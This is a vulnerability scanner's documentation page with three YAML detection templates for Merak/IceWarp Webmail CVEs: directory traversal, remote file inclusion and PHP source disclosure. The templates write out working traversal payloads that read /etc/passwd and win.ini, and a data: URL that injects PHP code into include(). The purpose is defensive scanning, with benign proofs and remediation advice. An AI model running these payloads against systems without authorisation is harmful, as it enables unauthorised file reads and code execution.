Merak Webmail — 3 vulnerability checks

noctis ships 3 vulnerability checks for Merak Webmail, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

IceWarp Mail Server < 11.2 Unauthenticated Directory Traversal

CVECVE-2015-1503
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, script, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/merak-webmail/CVE-2015-1503.yaml

Reads /etc/passwd or C:\Windows\win.ini through the css.php `file=` parameter (and the legacy calendar minimizer `script=` / `style=` parameters) of IceWarp WebMail without authentication. After a read, the same request is sent for an absent file in a random missing directory, and the finding is raised only when that control gets an HTTP reply without file content, so a server that answers every path with the same file is not reported.

How noctis detects it

  1. HTTP(S) request GET /webmail/
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{iw.prefix}}/webmail/client/skins/default/css/css.php?file={{trav}}&palette=default&…
  4. Checks css_resp.banner for (?s)^HTTP/1\.[01] 200\b.*(root:[^:\r\n]*:0:0:|; for 16-bit app suppor…
  5. Parses / computes the next value with a Rhai script
  6. Raw TCP (TLS on HTTPS), sent verbatim: GET {{iw.prefix}}/webmail/client/skins/default/css/css.php?file={{cssp_ctrl_probe}}&palet…
  7. Parses / computes the next value with a Rhai script
  8. Checks cssp_hit for ^yes$ → finding QoD 75: Arbitrary file read via GET …/webmail/client/skins/default/css/css.php?file=… returned OS file content; the same request for an absent file…
  9. Raw TCP (TLS on HTTPS), sent verbatim: GET {{trav}} HTTP/1.0
  10. Checks np_resp.banner for (?s)^HTTP/1\.[01] 200\b.*(root:[^:\r\n]*:0:0:|; for 16-bit app suppor…
  11. Parses / computes the next value with a Rhai script
  12. Raw TCP (TLS on HTTPS), sent verbatim: GET {{np_ctrl_probe}} HTTP/1.0
  13. Parses / computes the next value with a Rhai script
  14. Checks np_hit for ^yes$ → finding QoD 75: Arbitrary file read via GET … returned OS file content; the same request for an absent file did not

References:

Feed source — tests/vulnerabilities/merak-webmail/CVE-2015-1503.yaml
# IceWarp Mail Server < 11.2 — unauthenticated directory traversal (CVE-2015-1503)
#
# IceWarp WebMail (formerly Merak Webmail — same product, hence this directory)
# reads the file named by the `file=` parameter of
# /webmail/client/skins/default/css/css.php (and the `script=` / `style=`
# parameters of the legacy /webmail/old/calendar/minimizer/index.php) without
# confining it to the skin directory, so `../` sequences read any file the
# web server account can open.
#
# Ported from OpenVAS/Greenbone NASL 2018/icewarp/gb_icewarp_CVE-2015-1503_dir_trav.nasl
# (GPL-2.0-only, OID 1.3.6.1.4.1.25623.1.0.114003), plus the Nuclei template
# http/cves/2015/CVE-2015-1503.yaml vectors.
#
# Proof (benign, world-readable): /etc/passwd on Linux, C:\Windows\win.ini on
# Windows (its `; for 16-bit app support` header, or `[fonts]` directly
# followed by `[extensions]` — a bare `[fonts]` is too common). Deliberate deviation from the NASL: it reads IceWarp's own
# config/cert.pem and matches the PRIVATE KEY header — that would put the
# server's TLS private key into the finding, so this feed never requests it.
#
# Beyond the NASL:
#   - the NASL gives up when /webmail/ carries no `/-.._._.--.._<n>/` cache
#     prefix; this feed also tries css.php without the prefix, and the two
#     Nuclei minimizer vectors that need no prefix at all;
#   - it reads win.ini on Windows hosts (IceWarp's main platform) instead of a
#     secret, and checks the response is a 200 carrying the file's content;
#   - absent-file control (#2384): after a read, the same request with a random
#     missing directory inserted before the file must come back without file
#     content (fail closed), so catch-all servers / honeypots are not reported.
uid: 1d23601b-4e21-44c2-bafb-dfb2b314e11d
name: "IceWarp Mail Server < 11.2 Unauthenticated Directory Traversal (CVE-2015-1503)"
description: |
  Reads /etc/passwd or C:\Windows\win.ini through the css.php `file=`
  parameter (and the legacy calendar minimizer `script=` / `style=`
  parameters) of IceWarp WebMail without authentication. After a read, the
  same request is sent for an absent file in a random missing directory, and
  the finding is raised only when that control gets an HTTP reply without
  file content, so a server that answers every path with the same file is
  not reported.
cves: [CVE-2015-1503]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [icewarp, merak-webmail, webmail, path-traversal, file-read, openvas-migrated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-1503"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2015/CVE-2015-1503.yaml"
  - "OpenVAS NASL 2018/icewarp/gb_icewarp_CVE-2015-1503_dir_trav.nasl (GPL-2.0-only)"

steps:
  # ── 1. Fetch /webmail/ for the `/-.._._.--.._<n>/` resource prefix ───────
  # Pre-initialised so a failed request leaves a null body instead of an
  # undefined variable (which would abort the script below).
  - id: init-web
    action: set_var
    var_name: web
    var_value: {status: 0, body: null}

  - id: webmail-page
    action: http_request
    method: GET
    path: "/webmail/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    store_as: web

  - id: extract-prefix
    action: script
    code: |
      let p = "";
      if type_of(web.body) == "string" {
        let m = eregmatch("/(-\\.\\._\\._\\.--\\.\\._[0-9]+)/", web.body);
        if m.len() > 1 { p = "/" + m[1]; }
      }
      #{ prefix: p, has_prefix: p != "" }
    store_as: iw

  # ── 2. css.php under the cache prefix (the NASL's exact request) ─────────
  # tcp_connect keeps `../`, `..\` and `%5c` verbatim (reqwest would normalise
  # them). 10 × `../` is the NASL's Linux depth; 12 levels on Windows reach
  # the drive root from any IceWarp install directory (extra `..\` at the
  # root are ignored).
  # The loop group (the reset step carrying the loop and every step after it)
  # runs per payload; results are reset per payload.
  - id: css-prefixed-reset
    action: set_var
    var_name: css_resp
    var_value: {connected: false, banner: ""}
    loop:
      var: trav
      over:
        - '../../../../../../../../../../etc/passwd'
        - '..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini'
        - '..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
        - '%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini'

  - id: css-prefixed-ctrl-reset
    action: set_var
    var_name: cssp_ctrl
    var_value: {connected: false, banner: ""}

  - id: css-prefixed-hit-reset
    action: set_var
    var_name: cssp_hit
    var_value: ""

  - id: css-prefixed-clean-reset
    action: set_var
    var_name: cssp_clean
    var_value: false

  - id: css-prefixed-probe
    action: tcp_connect
    port: "{{port}}"
    condition: "iw.has_prefix"
    send: "GET {{iw.prefix}}/webmail/client/skins/default/css/css.php?file={{trav}}&palette=default&skin=default HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: css_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: css-prefixed-match
    action: match
    condition: "iw.has_prefix"
    source: css_resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(root:[^:\\r\\n]*:0:0:|; for 16-bit app support|\\[fonts\\]\\s*\\[extensions\\])"
    on_match:
      set_vars:
        cssp_hit: "yes"

  # Control: the same request with a random missing directory inserted before
  # the file (same separator, same file name), so a server that keys a fake
  # file on that name answers it too. IceWarp answers without the file.
  - id: css-prefixed-control-path
    action: script
    condition: 'cssp_hit != ""'
    code: |
      ereg_replace("^(.*?)(%252f|%5c|%2f|/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", trav, true)
    store_as: cssp_ctrl_probe

  - id: css-prefixed-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'cssp_hit != ""'
    send: "GET {{iw.prefix}}/webmail/client/skins/default/css/css.php?file={{cssp_ctrl_probe}}&palette=default&skin=default HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: cssp_ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: css-prefixed-control-verdict
    action: script
    condition: 'cssp_hit != ""'
    code: |
      let b = cssp_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]|; for 16-bit app support", b)
    store_as: cssp_clean

  - id: css-prefixed-report
    action: match
    source: cssp_hit
    pattern: "^yes$"
    condition: "cssp_clean == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read via GET {{iw.prefix}}/webmail/client/skins/default/css/css.php?file={{trav}} returned OS file content; the same request for an absent file did not"
      stop: true

  # ── 3. css.php without the prefix + the Nuclei minimizer vectors ─────────
  # The control regex runs on the whole URL below: the first "/etc", "\windows"
  # (any separator) must be the probed file — keep it so when adding items.
  - id: no-prefix-reset
    action: set_var
    var_name: np_resp
    var_value: {connected: false, banner: ""}
    loop:
      var: trav
      over:
        - '/webmail/client/skins/default/css/css.php?file=../../../../../../../../../../etc/passwd&palette=default&skin=default'
        - '/webmail/client/skins/default/css/css.php?file=..\..\..\..\..\..\..\..\..\..\..\..\windows\win.ini&palette=default&skin=default'
        - '/webmail/client/skins/default/css/css.php?file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini&palette=default&skin=default'
        - '/webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd'
        - '/webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd'

  - id: no-prefix-ctrl-reset
    action: set_var
    var_name: np_ctrl
    var_value: {connected: false, banner: ""}

  - id: no-prefix-hit-reset
    action: set_var
    var_name: np_hit
    var_value: ""

  - id: no-prefix-clean-reset
    action: set_var
    var_name: np_clean
    var_value: false

  - id: no-prefix-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{trav}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: np_resp

  # No finding here: the reply carries the file. Raised below once the
  # absent-file control is clean.
  - id: no-prefix-match
    action: match
    source: np_resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(root:[^:\\r\\n]*:0:0:|; for 16-bit app support|\\[fonts\\]\\s*\\[extensions\\])"
    on_match:
      set_vars:
        np_hit: "yes"

  # Control: the same request with a random missing directory inserted before
  # the file (same separator, same file name), so a server that keys a fake
  # file on that name answers it too. IceWarp answers without the file.
  - id: no-prefix-control-path
    action: script
    condition: 'np_hit != ""'
    code: |
      ereg_replace("^(.*?)(%252f|%5c|%2f|/|\\\\)(etc|windows|winnt|boot\\.ini)", "${1}${2}noctis-absent-" + oob_token + "${2}${3}", trav, true)
    store_as: np_ctrl_probe

  - id: no-prefix-control
    action: tcp_connect
    port: "{{port}}"
    condition: 'np_hit != ""'
    send: "GET {{np_ctrl_probe}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: np_ctrl

  # Fail closed: the control must have answered over HTTP, without any file content.
  - id: no-prefix-control-verdict
    action: script
    condition: 'np_hit != ""'
    code: |
      let b = np_ctrl.banner;
      type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:[01]:|\\[fonts\\]|\\[extensions\\]|\\[boot loader\\]|; for 16-bit app support", b)
    store_as: np_clean

  - id: no-prefix-report
    action: match
    source: np_hit
    pattern: "^yes$"
    condition: "np_clean == true"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Arbitrary file read via GET {{trav}} returned OS file content; the same request for an absent file did not"
      stop: true

IceWarp Web Mail (Merak / VisNetic Mail Server) include.php lang_settings Remote File Inclusion

CVECVE-2005-4556
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Ports32000
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/merak-webmail/CVE-2005-4556.yaml

Tests IceWarp Web Mail, the webmail of Merak Mail Server and VisNetic Mail Server, for the unauthenticated file inclusion in accounts/inc/include.php and admin/inc/include.php, which include lang_settings[language][1] followed by a language file name when register_globals is enabled. The feed requests both pages under /mail and the web root with lang_settings[0][1] set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, the value is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random folder followed by the language file name shows that the value reaches include() unchecked. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{page}}?language=0&lang_settings%5B0%5D%5B1%5D={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: IceWarp Web Mail include.php lang_settings Remote File Inclusion (CVE-2005-4556)
  5. HTTP(S) request GET {{page}}?language=0&lang_settings%5B0%5D%5B1%5D={{probe.marker}}%2F
  6. Parses / computes the next value with a Rhai script
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{page}}?language=0&lang_settings%5B0%5D%5B1%5D={{oob_url}}%3F
  10. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: IceWarp Web Mail include.php lang_settings Remote File Inclusion (CVE-2005-4556)
  11. Checks warn_proof for ^noctis[0-9A-Za-z]+/[A-Za-z0-9_]+\.html?$ → finding QoD 75: IceWarp Web Mail include.php lang_settings File Inclusion (CVE-2005-4556)

References:

Feed source — tests/vulnerabilities/merak-webmail/CVE-2005-4556.yaml
# IceWarp Web Mail include.php lang_settings remote file inclusion — CVE-2005-4556
#
# IceWarp Web Mail 5.5.1, shipped as the webmail of Merak Mail Server 8.3.0r and
# VisNetic Mail Server 8.3.0 build 1 (default port 32000, folder /mail or the
# web root), relies on register_globals. accounts/inc/include.php and
# admin/inc/include.php include $lang_settings[$language][1] followed by a
# language file name ("alang.html" for accounts/inc/include.php), so
#   accounts/inc/include.php?language=0&lang_settings[0][1]=<x>
# makes PHP include "<x>alang.html" before any login (advisory: Tan Chew Keong,
# 2005-12-27, BID 16069, exploit-db 26979 / 26980).
#
# Detection, per page (accounts and admin include.php, under /mail and the
# web root):
#   1. In-band code execution (QoD 97): lang_settings[0][1] is a data: URL
#      holding <?php echo md5(A*B);exit;?> with random A and B. When PHP may
#      include URLs (allow_url_include, PHP >= 5.2) the code runs and the reply
#      carries md5 of the product, a value the request never contains; exit
#      stops PHP before the appended file name. If the wrapper is refused, PHP's
#      warning quotes the code text, not the md5. No quotes in the code
#      (magic_quotes_gpc-safe), nothing written.
#   2. OOB (QoD 97, only when OOB is enabled): lang_settings[0][1] is the noctis
#      callback URL followed by "?", so the appended file name lands in the
#      query string; a fetch of the URL is the remote inclusion (allow_url_fopen
#      on the PHP 4 / 5.0 builds the product shipped with). This also covers
#      servers hiding PHP errors.
#   3. Fallback (QoD 75): lang_settings[0][1] is a random folder "noctisXXXX/";
#      the reply must carry PHP's include() / main() / "Failed opening … for
#      inclusion" warning naming "noctisXXXX/<file>.html": the value went,
#      concatenated with a file name, into include(). The admin page's file
#      name is not published, so any *.html name is accepted. The source check
#      only looks for the value + "alang.html" anywhere in the reply; the
#      warning context is required here.
#
# CVE: only CVE-2005-4556 (this include.php RFI) is proven. The issue's other
# IDs are separate pages of the same advisory: CVE-2005-4557 (dir/include.html
# lang LFI), CVE-2005-4558 (authenticated mail/index.html lang_settings),
# CVE-2005-4559 (mail/include.html User-Agent file access) — not tested here.
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT pre2008/visnetic_mailserver_flaws.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20346, GPL-2.0-only). Improvements: real code
# execution / OOB proof instead of a reflection match, the warning-context
# match, and the admin/inc/include.php sink.
uid: 47c87dca-bb2a-455e-8962-9948c8b2254b
name: "IceWarp Web Mail (Merak / VisNetic Mail Server) include.php lang_settings Remote File Inclusion (CVE-2005-4556)"
description: |
  Tests IceWarp Web Mail, the webmail of Merak Mail Server and VisNetic Mail
  Server, for the unauthenticated file inclusion in accounts/inc/include.php
  and admin/inc/include.php, which include lang_settings[language][1]
  followed by a language file name when register_globals is enabled. The feed
  requests both pages under /mail and the web root with lang_settings[0][1]
  set to a data: URL carrying a small PHP snippet that prints the md5 of the
  product of two random numbers; that md5 in the reply confirms that the server
  ran code supplied in the request. When OOB is enabled, the value is also set
  to the scanner's callback URL, and a fetch of that URL confirms the remote
  inclusion even when PHP output and errors are hidden. Otherwise, a PHP
  include warning naming a random folder followed by the language file name
  shows that the value reaches include() unchecked. The snippet only prints a
  hash and writes nothing on the server.
cves: [CVE-2005-4556]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [icewarp, merak-webmail, visnetic, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
ports: [32000]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-4556"
  - "https://www.exploit-db.com/exploits/26979"
  - "https://www.exploit-db.com/exploits/26980"
  - "https://www.securityfocus.com/bid/16069"
  # OpenVAS/Greenbone NASL pre2008/visnetic_mailserver_flaws.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every page ───────────────────────────────────
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12)
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-page
    action: set_var
    var_name: warn_page
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per page.
  # Each pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over: ["/mail/accounts/inc/include.php", "/accounts/inc/include.php", "/mail/admin/inc/include.php", "/admin/inc/include.php"]

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{page}}?language=0&lang_settings%5B0%5D%5B1%5D={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "IceWarp Web Mail include.php lang_settings Remote File Inclusion (CVE-2005-4556)"
        description: "An unauthenticated request to the IceWarp Web Mail include.php page with lang_settings[0][1] set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. include.php includes the request's lang_settings value without any check, so an attacker can run any PHP code on the mail server."
        remediation: "Upgrade to a current IceWarp (Merak) Mail Server release; VisNetic Mail Server is discontinued and should be replaced. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off in the webmail's PHP configuration, and restrict access to the webmail port."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{page}}?language=0&lang_settings[0][1]=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 3. Random folder name — include() warning naming it (fallback) ───────
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{page}}?language=0&lang_settings%5B0%5D%5B1%5D={{probe.marker}}%2F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Also when the code probe got no reply (status 0, e.g. a filter dropping
    # "<?php"): this plain request may still get through.
    condition: "warn_found == false && rce_r.status != 404"
    store_as: warn_r

  - id: warn-check
    action: script
    code: |
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let m = eregmatch("(?:\\b(?:include|include_once|require|require_once|main)\\(|Failed opening ')(" + probe.marker + "/[A-Za-z0-9_]+\\.html?)(?:\\)|' for inclusion)", b);
      if type_of(m) == "array" && m.len() > 1 { m[1] } else { "" }
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-page
    action: script
    code: "page"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_page

  - id: warn-proof
    action: script
    code: "warn_hit"
    condition: 'warn_found == false && warn_hit != ""'
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: 'warn_hit != ""'

  # ── 2. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every page not answering 404 (also when the code probe got no
  # reply), since a server hiding PHP errors gives no in-band sign. "%3F"
  # makes the appended file name a query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{page}}?language=0&lang_settings%5B0%5D%5B1%5D={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "IceWarp Web Mail include.php lang_settings Remote File Inclusion (CVE-2005-4556)"
        description: "An unauthenticated request to the IceWarp Web Mail include.php page with lang_settings[0][1] set to the noctis callback URL made the server fetch that URL: include.php includes the request's lang_settings value without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "Upgrade to a current IceWarp (Merak) Mail Server release; VisNetic Mail Server is discontinued and should be replaced. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off in the webmail's PHP configuration, and restrict access to the webmail port."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <include.php page>?language=0&lang_settings[0][1]=<OOB URL>? (remote file inclusion)"
      stop: true

  # ── Fallback finding: include() warning naming the random folder ─────────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9A-Za-z]+/[A-Za-z0-9_]+\\.html?$"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "IceWarp Web Mail include.php lang_settings File Inclusion (CVE-2005-4556)"
        description: "An unauthenticated request to the IceWarp Web Mail include.php page with lang_settings[0][1] set to a random folder name returned a PHP include warning for that folder followed by a language file name: include.php passes the request's lang_settings value to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "Upgrade to a current IceWarp (Merak) Mail Server release; VisNetic Mail Server is discontinued and should be replaced. Until then, disable register_globals, set allow_url_include and allow_url_fopen to Off in the webmail's PHP configuration, and restrict access to the webmail port."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{warn_page}}?language=0&lang_settings[0][1]={{probe.marker}}/ returned a PHP include warning for {{warn_proof}}"
      stop: true

Merak Webmail / IceWarp < 7.5.2 PHP source disclosure via inc/function.php

CVECVE-2004-1719, CVE-2004-1720, CVE-2004-1721, CVE-2004-1722
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/merak-webmail/CVE-2004-1719.yaml

Requests /webmail/inc/function.php and reports when the server returns the PHP source (function getusersession) instead of running it.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /webmail/inc/function.php HTTP/1.0
  2. Checks resp.banner for (?s)^HTTP/1\.[01] 200\b.*function getusersession → finding QoD 75: Merak Webmail /webmail/inc/function.php returned PHP source (function getusersession): …

References:

Feed source — tests/vulnerabilities/merak-webmail/CVE-2004-1719.yaml
uid: 356dca7f-9b81-45ab-956d-f2328d94cf01
name: "Merak Webmail / IceWarp < 7.5.2 PHP source disclosure via inc/function.php (CVE-2004-1719)"
description: "Requests /webmail/inc/function.php and reports when the server returns the PHP source (function getusersession) instead of running it."
cves: [CVE-2004-1719, CVE-2004-1720, CVE-2004-1721, CVE-2004-1722]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.3
tags: [openvas-migrated, http, merak-webmail]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1719"
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1720"
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1721"
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1722"
  - "OpenVAS NASL pre2008/merak_multiple_vulns.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL pre2008/merak_multiple_vulns.nasl (GPL-2.0-only).
steps:
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /webmail/inc/function.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200\\b.*function getusersession"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "Merak Webmail /webmail/inc/function.php returned PHP source (function getusersession): {{resp.banner}}"
      stop: true

View these feeds on GitHub